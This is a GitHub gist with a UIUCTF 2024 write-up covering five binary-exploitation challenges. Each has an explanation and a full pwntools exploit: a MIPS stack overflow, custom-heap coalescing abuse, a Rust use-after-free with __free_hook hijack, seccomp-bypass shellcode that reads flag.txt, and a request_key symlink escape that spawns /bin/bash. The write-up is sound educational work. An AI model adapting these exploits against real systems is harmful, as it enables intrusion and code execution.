Skip to content

Instantly share code, notes, and snippets.

@BeaCox
Last active July 8, 2024 13:51
Show Gist options
  • Save BeaCox/693563583377a778ba5b5fc98387b2d4 to your computer and use it in GitHub Desktop.
Save BeaCox/693563583377a778ba5b5fc98387b2d4 to your computer and use it in GitHub Desktop.

[UIUCTF 2024] PWN Writeup

I participated in this year's UIUCTF with L3ak and we ended up in 7th place. I only did the PWN challenges and our team ended up AKing the PWN, MinatoTW is goat🐐!

This article contains writeups of all the PWN challenges (except one PWN + Rev) from the event.

  1. Backup Power
  2. pwnymalloc
  3. Rusty Pointers
  4. Syscalls
  5. Syscalls 2

Backup Power

Overview

Can you turn on the backup generator for the SIGPwny Transit Authority?

75 solves

The challenge was solved by MinatoTW, I just reproduced it and wrote the wp after the event.

checksec result:

    Arch:     mips-32-big
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

This is a stack overflow challenge for the mips architecture. I used qemu-mips to run it and gdb-multiarch to debug it.

Analysis

The main logic of the program is:

  • non-developer (developer? develper? devolper? 3 different spellings in one program XD) users are only allowed to execute the shutdown and shutup commands, and have nothing to exploit.

  • Logging in as a developer user, command is set to todo. Calling the develper_power_management_portal() function returns to the process of switching between commands. In this case, there is a stack overflow in the develper_power_management_portal() function which calls the gets() function.

    void __cdecl develper_power_management_portal(int cfi)
    {
      char buffer[4]; // [sp+18h] [+18h] BYREF
      int vars20; // [sp+44h] [+44h]
    
      gets(buffer);
      if ( vars20 != cfi )
        _stack_chk_fail_local();
    }
  • If command is system, the program splices in the variable on the stack as an argument to the system() function and executes it:

        if ( !strcmp(command, system_str) )
        {
          sprintf(command_buf, "%s %s %s %s", arg1, arg2, arg3, arg4);
          system(command_buf);
          return 0;
        }
  • Before and after calling the develper_power_management_portal() function, the program tries to back up the values of the variables on the stack through registers:

    backup

    But in the develper_power_management_portal() function, the program sets the values of the registers to some values on the stack after calling the gets() function:

    ruin

    So it doesn't have the effect of a backup, we can still set s4, s5, s6, s7 and thus arg1, arg2, arg3, arg4 by stack overflowing to `0x24+var_sC($sp), 0x24+var_s10($sp).

So far, our route to the solution can be summarized as setting command to system using a stack overflow and setting arg1 to sh;\x00, causing the program to execute system("sh"). It is worth noting that the program has cfi check turned on, i.e., when the develper_power_management_portal() function returns, it checks that its return address has not been modified. In this challenge we don't need to hijack the control flow, so just leaving the return address as it is.

Debug

Use qemu-mips to start the program and wait for gdb to debug remotely:

qemu-mips -g 1234 ./backup-power

Start gdb-multiarch in another terminal and debug it remotely:

gdb-multiarch ./backup-power

pwndbg> set arch mips
pwndbg> set endian big
pwndbg> target remote :1234

We can use gdb to locate where on the stack the variable we need to modify is located:

pwndbg> b *0x400ee8
pwndbg> c

Type the username devolper, then type aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa and let gets() receive it, and you will see:

args

stack

Just overwrite command with system and arg1 with sh;\x00, and try to leave the stack as it is where it contains a program address.

Two points to note:

  1. Return address: the second 0x400b0c in the above figure. Since cfi is turned on, the return address must be left as is.
  2. gp register: the 0x4aa30 in the above picture will be put into the gp register, which will be used to calculate the function offset later, so it can't be modified.

Exploit

from pwn import *

exe = ELF("./backup-power")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("backup-power.chal.uiuc.tf", 1337, ssl=True)

    return r


def main():
    r = conn()

    r.sendlineafter(b"Username: ", b'devolper')
    payload = b"A" * 24 + b"sh;\x00".ljust(12, b"A") + p32(0xdeadbeef) * 2 + p32(0x400b0c)

    sp = (
        p32(0)*6
        + p32(0x004AA330)                       # that's gp, we need to keep it
        + p32(0)*5
        + b"devolper".ljust(100, b"\x00")
        + b"devolper".ljust(100, b"\x00")
        + b"system\x00"                         # overwrite command to system
    )

    payload += sp
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

pwnymalloc

Overview

i'm tired of hearing all your complaints. pwnymalloc never complains.

65 Solves

This challenge was solved by my teammates and me during the event.

Analysis

This is a heap challenge, but the heap manager is customised.

The basic functions of the program are:

  1. submit a complaint (request a heap chunk of usable size 0x48, enter the contents, then the heap is zeroed out and freed)
  2. view the complaint (for show, not actually implemented)
  3. request a refund (request a heap chunk of usable size 0x88, used to hold the refund_request structure, can not be directly freed)
  4. check the refund status (print flag when status is REFUND_APPROVED)

The refund_request structure is defined as follows:

typedef struct refund_request {
    refund_status_t status;
    int amount;
    char reason[0x80];
} refund_request_t;

The request refund function will set status to 0 i.e. REFUND_DENIED, the other status is 1 i.e. REFUND_APPROVED, and both amount and reason are from user's input. There is no conventional function to directly set the status of a structure to REFUND_APPROVED, so consideration needs to be given to using the custom heap manager to accomplish the modification of this field.

Since heap chunks require 0x10 byte alignment, the structure of a heap chunk may exist in either of the following two ways:

chunk

When the heap chunk available size is 0x...8 bytes, the user can write to the 8 bytes where btag is located. Normally only heap chunks that are freed will have btag set, and that's the problem: the available size of the heap chunks in this challenge are all 0x...8 bytes, and in this case the user can control btag of chunk in use.

The code for free chunk merging in the heap manager is more interesting to me (based on experience with unsorted bin). Briefly, when freeing a heap chunk or splitting a large heap chunk, coalesce() is called to merge the free chunks; the function checks the size and state of the previous and next heap chunks to decide whether to merge or not.

In the case of merging forward chunks, for example, there is the following call chain:

coalesce()->prev_chunk()->get_prev_size()

The get_prev_size() function is implemented as follows:

static size_t get_prev_size(chunk_ptr block) {
    btag_t *prev_footer = (btag_t *) ((char *) block - BTAG_SIZE);
    return prev_footer->size;
}

The btag is located in the last 8 bytes of each heap chunk as shown in the previous section, and the heap manager uses this value to determine the size of the forward free heap chunk. If the forward heap chunk is not freed, get_prev_size should normally return 0. However, if we set btag to a positive number, the heap manager will use this value to locate the size | status of the forward heap chunk, and then determine whether it is freed. By constructing a payload, it is possible to modify the btag of a heap chunk and fill the target size | status with the appropriate value, inducing the heap manager to merge a contiguous chunk of forward memory, regardless of its state of use.

How?

Let's go over our attack routes:

  1. Request 2 heap chunks (both of size 0x90,the following sizes all refer to the actual size of a heap chunk) via the refund request function.

  2. Select the second heap chunk as the target (its refund status will be rewritten)

  3. Write a size larger than 0x90 as a btag in the last 8 bytes of the second heap chunk(e.g., 0xb0)

  4. Write a corresponding size | status (e.g. 0xb0 | 0 to indicate being freed) in the corresponding position (chunk2_addr + 0x90 - 0xb0) in the middle of the first heap chunk The states of the heap chunks at this point are as follows.

    1

  5. Submitting a complaint triggers a free chunk merge, which will merge a free heap chunk of size 0xb0 + 0x50 with a start address of chunk2_addr + 0x90 - 0xb0

    2

  6. Call the request refund function again, at this point the starting address of the requested heap chunk is chunk2_addr + 0x90 - 0xb0 and the size is 0x90

  7. This heap chunk spans the first and second heap chunks, and filling it with the appropriate payload will write refund_request->status in the second heap chunk to 1 i.e. REFUND_APPROVED.

    3

  8. Call the check refund status function to get the flag

Tips

We have faked a free heap chunk of size 0xb0, be aware that free_list_remove(prev_block) will be called when merging free chunks, so make the next and prev pointers of this fake heap chunk 0 (or a legal address) or else you will get a memory access error.

Exploit

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal")

context.binary = exe


def conn():
    global r
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("pwnymalloc.chal.uiuc.tf", 1337, ssl=True)

def complain(data):
    r.sendlineafter(b"> ", b"1")
    r.sendafter(b":", data)

def refund(data):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"refunded:\n", b"0") # why would i refund XD
    r.sendafter(b"request:\n", data)

def win(index):
    r.sendlineafter(b"> ", b"4")
    r.sendlineafter(b"ID:\n", str(index).encode())


def main():
    conn()

    # fake chunk inside
    payload = b'\x00'*0x60 + p64(0xb0) +p64(0)+p64(0) + b'\n'
    refund(payload)
    # the target chunk we will overflow
    payload = b'\x00'*0x78 + p64(0xb0)[:-1]
    refund(payload)
    # trigger the coalesce
    payload = b'BeaCox never complains\n'
    complain(payload)
    # overwrite the target to make it approved
    payload = p64(0)+p64(0)+p64(0x91)+p32(1)+p32(0xdeadbeef) + b'\n' # what about refunding a deadbeef?
    refund(payload)
    gdb.attach(r)
    # win!
    win(1)

    r.interactive()


if __name__ == "__main__":
    main()

Rusty Pointers

Overview

The government banned C and C++ in federal software, so we had to rewrite our train schedule management program in Rust. Thanks Joe Biden. Because of government compliance, the program is completely memory safe.

36 Solves

This challenge was solved by my teammates and me during the event.

Analysis

I've never written a single line of Rust. But I've heard it's a memory-safe language, or is it?

The main functions of the program are as follows:

  1. Create a Rule or Note
  2. Delete a Rule or Note
  3. Read a Rule or Note
  4. Edit a Rule or Note
  5. Make a Law
  6. Exit

This part of the source code is worth noting:

const LEN: usize = 64;
const LEN2: usize = 2000;
const LEN3: usize = 80;

#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
	let mut buffer = Box::new([0; LEN]);
	return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_law() -> &'static mut [u8; LEN2] {
	let mut buffer = Box::new([0; LEN2]);
	let mut _buffer2 = Box::new([0; 16]);
	return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_note() -> Box<[u8; LEN]>{
	return Box::new([0; LEN])
}

Only the get_note() function does not call get_ptr, so there must be something here, observe the get_ptr function:

const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
	fn ident<'a, 'b, T: ?Sized>(
        _val_a: &'a &'b (),
        val_b: &'b mut T,
	) -> &'a mut T {
			val_b
	}
	let f: fn(_, &'a mut T) -> &'b mut T = ident;
	f(S, x)
}

It's difficult to understand, but chatGPT tells me that the function's purpose is to extend the life cycle of a variable. The difference between get_rule and get_note can be observed in gdb:

  1. Create a Note, Edit a Note, input aaaa

  2. Create a Rule, Edit a Rule, bbbb`

  3. check the heap:

    differnce

Obviously, both will request a heap chunk of size 0x50, but the get_ptr() function will free this heap chunk and allow us to continue to use this heap chunk, aka UAF (Use After Free).

As shown above, get_law() also calls get_ptr(), the difference being that it's larger in size:

const LEN2: usize = 2000;
let mut buffer = Box::new([0; LEN2]);
return get_ptr(&mut buffer);

So freeing it will put it into the unsorted bin, and its fd and bk pointers will point to main_arena in libc, resulting in a libc leak:

libc leak

How?

Next we need to think about how to utilise the UAF we got.

The version of libc is 2.31, malloc_hook and free_hook can be exploited, and tcache does not have a safe link mechanism.

With Write After Free and Read After Free, we can get Arbitrary Write and Arbitrary Read primitives with the Tcache Poisoning method.

We can use Arbitrary Write primitive to overwrite free_hook as the address of a system function, then fill in /bin/sh\x00 at the beginning of a heap chunk (note) and free it, which will trigger system('/bin/sh').

Exploit

#!/usr/bin/env python3

from pwn import *

exe = ELF("./rusty_ptrs")
libc = ELF("libc-2.31.so")
ld = ELF("ld-2.31.so")

context.binary = exe


def conn():
    global r
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("rustyptrs.chal.uiuc.tf", 1337, ssl=True)

def create_rule():
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", b"1")

def create_note():
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", b"2")

def delete_rule(index):
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", str(index).encode())

def delete_note(index):
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", str(index).encode())

def read_rule(index):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", str(index).encode())

def read_note(index):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", str(index).encode())

def edit_rule(index, content):
    r.sendlineafter(b"> ", b"4")
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", str(index).encode())
    r.sendlineafter(b"> ", content)

def edit_note(index, content):
    r.sendlineafter(b"> ", b"4")
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", str(index).encode())
    r.sendlineafter(b"> ", content)

def make_law():
    r.sendlineafter(b"> ", b"5")

def main():
    conn()
    # r.interactive()

    make_law()
    libc_leak = int(r.recvuntil(b",", drop=True), 16)
    info(f"[L3ak] libc leak: {hex(libc_leak)}")
    libc.address = libc_leak - 0x1ecbe0
    info(f"[C4lc] libc base: {hex(libc.address)}")
    free_hook_addr = libc.symbols['__free_hook']
    info(f"[C4lc] free hook addr: {hex(free_hook_addr)}")
    system_addr = libc.sym['system']
    info(f"[C4lc] system addr: {hex(system_addr)}")
    create_note()
    create_note()
    create_note()
    create_note()
    delete_note(3)
    delete_note(2)
    delete_note(1)
    delete_note(0)
    create_rule()
    edit_rule(0, p64(free_hook_addr))
    create_note()
    create_note()
    payload = p64(system_addr)
    # gdb.attach(r)
    edit_note(1, payload)           # overwrite free_hook with system
    edit_note(0, b"/bin/sh\x00")    # set /bin/sh as argument
    delete_note(0)                  # delete_note wiil trigger free_hook, which will call system("{what's in note}")

    r.interactive()

if __name__ == "__main__":
    main()

Syscalls

Overview

You can't escape this fortress of security.

143 Solves

This problem was solved independently by me during the event.

Analysis

This is a very simple challenge, the program will execute our input directly as shellcode, but the system calls are restricted by seccomp. Using seccomp-tools we can clearly see the rules of seccomp.

seccomp-tools dump ./syscalls
The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x16 0xc000003e  if (A != ARCH_X86_64) goto 0024
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x13 0xffffffff  if (A != 0xffffffff) goto 0024
 0005: 0x15 0x12 0x00 0x00000000  if (A == read) goto 0024
 0006: 0x15 0x11 0x00 0x00000001  if (A == write) goto 0024
 0007: 0x15 0x10 0x00 0x00000002  if (A == open) goto 0024
 0008: 0x15 0x0f 0x00 0x00000011  if (A == pread64) goto 0024
 0009: 0x15 0x0e 0x00 0x00000013  if (A == readv) goto 0024
 0010: 0x15 0x0d 0x00 0x00000028  if (A == sendfile) goto 0024
 0011: 0x15 0x0c 0x00 0x00000039  if (A == fork) goto 0024
 0012: 0x15 0x0b 0x00 0x0000003b  if (A == execve) goto 0024
 0013: 0x15 0x0a 0x00 0x00000113  if (A == splice) goto 0024
 0014: 0x15 0x09 0x00 0x00000127  if (A == preadv) goto 0024
 0015: 0x15 0x08 0x00 0x00000128  if (A == pwritev) goto 0024
 0016: 0x15 0x07 0x00 0x00000142  if (A == execveat) goto 0024
 0017: 0x15 0x00 0x05 0x00000014  if (A != writev) goto 0023
 0018: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # writev(fd, vec, vlen)
 0019: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0023
 0020: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0024
 0021: 0x20 0x00 0x00 0x00000010  A = fd # writev(fd, vec, vlen)
 0022: 0x25 0x00 0x01 0x000003e8  if (A <= 0x3e8) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

We can see that execve and execveat are both disabled, so you can't pop a shell directly. open, read, write are also disabled.

How?

Alternative system calls for open/read/write can be found by searching syscall.sh : open can be replaced by openat, read can be replaced by preadv2, write can be replaced by pwritev2. Usage can be found by searching man <syscall name> :

  1. openat()usage

    int openat(int dirfd, const char *pathname, int flags);
    int openat(int dirfd, const char *pathname, int flags, mode_t mode);

    If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process

    openat(AT_FDCWD, '. /flag.txt', 0) represents opening the . /flag.txt file in the current working directory.

  2. preadv2()pwritev2()usage

    ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
    ssize_t pwritev2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);

    We can search for some examples to understand unfamiliar system calls/functions faster:

    char          *str0 = "hello ";
    char          *str1 = "world\n";
    ssize_t       nwritten;
    struct iovec  iov[2];
    
    iov[0].iov_base = str0;
    iov[0].iov_len = strlen(str0);
    iov[1].iov_base = str1;
    iov[1].iov_len = strlen(str1);
    
    nwritten = writev(STDOUT_FILENO, iov, 2);

    That is, iov is an array of structures, the first 8 bytes of each structure is the address to be read/written, and the last 8 bytes is the length to be read/written; iovcnt is used to indicate the number of elements in the array.

    Unlike preadv() and pwritev(), if the offset argument is -1, then the current file offset is used and updated.

    The flags argument contains a bitwise OR of zero or more of the following flags ...

    Setting offset to -1 actually lets the system manage the offset for us, and flags is usually just set to 0.

Exploit

#!/usr/bin/env python3

from pwn import *

exe = ELF("./syscalls_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)

    return r


def main():
    r = conn()

    # openat(AT_FDCWD, "./flag.txt", 0)
    # preadv2(3, {"rsp", 0x50}, 1, 0, 0)
    # pwritev2(1, {"rsp", 0x50}, 1, -1, 0)

    shellcode = asm(
        """
        mov rax, 257
        mov rdi, -100
        mov rsi, 0x7478
        push rsi
        mov rsi, 0x742e67616c662f2e
        push rsi
        mov rsi, rsp
        xor rdx, rdx
        syscall
        mov rdi, rax
        mov rax, 327
        mov r12, rsp
        add r12, 0x50
        mov r11, 0x50
        push r11
        push r12
        mov rsi, rsp
        mov rdx, 1
        mov r10, -1
        mov r8, 0
        syscall
        mov rax, 328
        mov rdi, 1
        syscall
        """
    )
    # gdb.attach(r, '''
    # b *$rebase(0x12d6)'''
    # )
    print(shellcode)
    r.sendline(shellcode)

    r.interactive()


if __name__ == "__main__":
    main()

I know you can use shellcraft to construct shellcode, but I just prefer writing on my own XD.

Syscalls 2

Overview

I made it harder ;) Hint: It's not a bug, it's a feature!

8 Solves

Exploit modified from robbert1978's code.

Analysis

This challenge has a patch on the kernel:

From 1470120abb93fb80ee0ac52feab611418ec957d7 Mon Sep 17 00:00:00 2001
From: YiFei Zhu <zhuyifei@google.com>
Date: Wed, 26 Jun 2024 19:39:11 -0700
Subject: [PATCH] prctl: Add a way to prohibit file descriptor creation

They are avoided by enforcing a failure when the kernel tries to
allocate a free fd. To be extra extra safe, attempting to install
an fd after the point of no return will panic.

Child processes inherit the restriction just like seccomp.

Signed-off-by: YiFei Zhu <zhuyifei@google.com>
---
 fs/file.c                  | 7 +++++++
 include/linux/sched.h      | 5 +++++
 include/uapi/linux/prctl.h | 2 ++
 kernel/fork.c              | 3 +++
 kernel/sys.c               | 3 +++
 5 files changed, 20 insertions(+)

diff --git a/fs/file.c b/fs/file.c
index 3b683b9101d8..d9562f8bca85 100644
--- a/fs/file.c
+++ b/fs/file.c
@@ -503,6 +503,9 @@ static int alloc_fd(unsigned start, unsigned end, unsigned flags)
 	int error;
 	struct fdtable *fdt;
 
+	if (task_uiuctf_no_fds_allowed(current))
+		return -EPERM;
+
 	spin_lock(&files->file_lock);
 repeat:
 	fdt = files_fdtable(files);
@@ -604,6 +607,10 @@ void fd_install(unsigned int fd, struct file *file)
 	struct files_struct *files = current->files;
 	struct fdtable *fdt;
 
+	if (task_uiuctf_no_fds_allowed(current))
+		panic("Installing fds is actually not allowed and "
+		      "I'm not trying to hide a bypass");
+
 	if (WARN_ON_ONCE(unlikely(file->f_mode & FMODE_BACKING)))
 		return;
 
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 3c2abbc587b4..f4584022dc4c 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -1698,6 +1698,8 @@ static __always_inline bool is_percpu_thread(void)
 #define PFA_SPEC_IB_FORCE_DISABLE	6	/* Indirect branch speculation permanently restricted */
 #define PFA_SPEC_SSB_NOEXEC		7	/* Speculative Store Bypass clear on execve() */
 
+#define PFA_UIUCTF_NO_FDS_ALLOWED	10
+
 #define TASK_PFA_TEST(name, func)					\
 	static inline bool task_##func(struct task_struct *p)		\
 	{ return test_bit(PFA_##name, &p->atomic_flags); }
@@ -1739,6 +1741,9 @@ TASK_PFA_CLEAR(SPEC_IB_DISABLE, spec_ib_disable)
 TASK_PFA_TEST(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)
 TASK_PFA_SET(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)
 
+TASK_PFA_TEST(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+TASK_PFA_SET(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+
 static inline void
 current_restore_flags(unsigned long orig_flags, unsigned long flags)
 {
diff --git a/include/uapi/linux/prctl.h b/include/uapi/linux/prctl.h
index 370ed14b1ae0..6075c202ca43 100644
--- a/include/uapi/linux/prctl.h
+++ b/include/uapi/linux/prctl.h
@@ -306,4 +306,6 @@ struct prctl_mm_map {
 # define PR_RISCV_V_VSTATE_CTRL_NEXT_MASK	0xc
 # define PR_RISCV_V_VSTATE_CTRL_MASK		0x1f
 
+#define PRCTL_UIUCTF_NO_FDS_ALLOWED 100
+
 #endif /* _LINUX_PRCTL_H */
diff --git a/kernel/fork.c b/kernel/fork.c
index aebb3e6c96dc..692c01b13c9a 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -2559,6 +2559,9 @@ __latent_entropy struct task_struct *copy_process(
 	 */
 	copy_seccomp(p);
 
+	if (task_uiuctf_no_fds_allowed(current))
+		task_set_uiuctf_no_fds_allowed(p);
+
 	init_task_pid_links(p);
 	if (likely(p->pid)) {
 		ptrace_init_task(p, (clone_flags & CLONE_PTRACE) || trace);
diff --git a/kernel/sys.c b/kernel/sys.c
index 8bb106a56b3a..5bb16543a565 100644
--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -2760,6 +2760,9 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
 	case PR_RISCV_V_GET_CONTROL:
 		error = RISCV_V_GET_CONTROL();
 		break;
+	case PRCTL_UIUCTF_NO_FDS_ALLOWED:
+		task_set_uiuctf_no_fds_allowed(current);
+		break;
 	default:
 		error = -EINVAL;
 		break;
-- 
2.45.1

The challenge customizes a system call that calling prctl(PRCTL_UIUCTF_NO_FDS_ALLOWED) prevents alloc_fd() and fd_install() from running properly. And a modification to copy_process() causes a child process of fork to inherit this property. Thus the expected solution is to use io_uring to read the flag:

  1. io_uring doesn't need a new fd itself
  2. io_uring manages its own fd table and doesn't trigger alloc_fd and fd_install

How?

I prefer an unintended solution:

Firstly we need to understand the request_key system call. Referring to manpage, the usage is as follows:

key_serial_t request_key(const char *type, const char *description,
							const char *_Nullable callout_info,
							key_serial_t dest_keyring);

If the kernel cannot find a key matching type and description, and callout is not NULL, then the kernel attempts to invoke a user-space program to instantiate a key with the given type and description. In this case, the following steps are performed: ... (3) The kernel creates a process that executes a user-space service such as request-key(8) with a new session keyring that contains a link to the authorization key, V. This program is supplied with the following command-line arguments:

​ [0] The string "/sbin/request-key".

That is, when we specify type and description in a way that prevents the kernel from finding the corresponding key, it will run /sbin/request-key

The route of the unintended solution is:

  1. set /sbin/request_key to be a symbolic link to /init
  2. set /chal to be a symbolic link to /bin/bash
  3. use the system call request_key and pass in type and description which the kernel does not recognize
  4. request_key will call /sbin/rquest-key->/init, the new /init will not have the no_fds filter
  5. /init executes exec /chal->/bin/bash, popping up the shell

Exploit

#!/usr/bin/env python3

from pwn import *

context.arch = "amd64"
shellcode = asm("""

    lea rdi, [rip + offset init]
    lea rsi, [rip + offset request_key]
    mov eax, 0x58
    syscall


    lea rdi, [rip + offset chal]
    mov eax, 0x57
    syscall

    lea rdi, [rip + offset bash]
    lea rsi, [rip + offset chal]
    mov eax, 0x58
    syscall

    lea rdi, [rip + offset a]
    lea rsi, [rip + offset b]
    lea rdx, [rip + offset c]  
    mov r10, 0xfffffffd 
    mov rax, 0xf9       
    
    syscall
    ret
a:
    .asciz "user"
b:
    .asciz "BeaCox:nonsense"
c:
    .asciz "payload:data"
init:
    .asciz "/init"
chal:
    .asciz "/chal"
request_key:
    .asciz "/sbin/request-key"
bash:
    .asciz "/bin/bash"

""")

print(shellcode.hex())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment